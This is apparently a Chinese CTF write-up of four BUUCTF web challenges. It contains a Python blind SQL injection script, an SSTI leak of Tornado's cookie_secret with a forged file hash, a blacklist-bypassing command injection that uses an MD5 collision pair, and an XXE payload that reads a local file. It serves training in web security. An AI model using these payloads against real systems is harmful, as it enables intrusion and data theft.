[CISCN2019 华北赛区 Day2 Web1]Hack World 1

布尔盲注与python脚本编写

1’测试发现是布尔盲注

根据提示,所需在flag字段flag表,fuzz发现过滤空格,没有过滤括号,括号绕过空格,二分法布尔盲注

采用异或运算

参考:https://cloud.tencent.com/developer/article/2368996

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import time
import re
url='http://2d07b3c2-996f-4376-a1b6-c2d8b13426d4.node5.buuoj.cn:81/'
flag = ''
for i in range(1,50):
max = 127
min = 0
for c in range(0,127):
s = (int)((max+min)/2)
payload = '0^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')'
r = requests.post(url,data = {'id':payload})
time.sleep(0.005)
if 'Hello' in str(r.content):
max=s
else:
min=s
if((max-min)<=1):
flag+=chr(max)
print(flag)
break

其中0^(ascii(substr((select(flag)from(flag)),’+str(i)+’,1))>’+str(s)+’)

从flag中取一字符,如果str(i)>str(s)为真,那么异或后整个式子为真,传入id后回显为Hello, glzjin wants a girlfriend,之后调整min,max借此来不断逼近flag

[护网杯 2018]easy_tornado

进入发现三个页面

同时发现访问三个页面时url有两个参数filename和filehash,猜测filehash=md5(cookie_secret+md5(filename))

根据题目信息tornado,这是一种pythonweb框架,存在ssti漏洞,测试一下

file?filename=/fllllllllllllag&filehash=121

发现重定向到了/error

对msg点进行ssti注入

根据搜索到的信息:可以通过Handler对象的application.settings属性来获取或设置cookie_secret。‌此外,‌由于handler.settings指向RequestHandler.application.settings,‌因此可以通过handler.settings来间接访问或修改cookie_secret。‌

找到cookie_secret:0b196eba-d21c-4d4f-b5c5-4aafec72589a

1
2
3
4
5
6
<?php
$cookie_secret='0b196eba-d21c-4d4f-b5c5-4aafec72589a';
$file='/fllllllllllllag';
$filehash = md5($cookie_secret.md5($filename));

echo $filehash;

按照提示找filehash

payload:/file?filename=/fllllllllllllag&filehash=3e68817d7070767dbb7b96372efea4c7

flag{5104fd89-4a2c-4334-9891-678aa100d90b}

[安洵杯 2019]easy_web

发现url里有cmd参数,传入看看

要进行rce,但是ls被过滤了

img参数是base64编码,解码两次得3535352e706e67

hex编码,解密得555.png

从img参数应该可以访问源码

按照将index.php hex一次,base64两次

TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

传参,得base64的源码,解码查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}

?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

echo cmd

命令执行,可以看到我们要传a,b两个参数,由于存在string转换,只能使用md5强碰撞

1
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

/index.php?cmd=ca\t%20/fl\ag

flag{5a8662a1-0bb8-4da8-a468-b65116700d85}

BUU XXE COURSE 1

XXE(XML External Entity Injection)全称为XML外部实体注入,由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。例如PHP中的simplexml_load默认情况下会解析外部实体,有XXE漏洞的标志性函数为simplexml_load_string()。

简单测试发现有内置的xml,username有回显

在root实体下注入外部实体,并读取flag

1
2
3
4
5
<!DOCTYPE root [

<!ENTITY admin SYSTEM "file://flag"> ]>


这段代码在xml根元素root下定义了一个名为admin的xml实体,并指定了实体的内容来源dile://flag,读取本地flag内容,将它填加到xml中并调用admin实体,即可获得flag

image-20240719172144750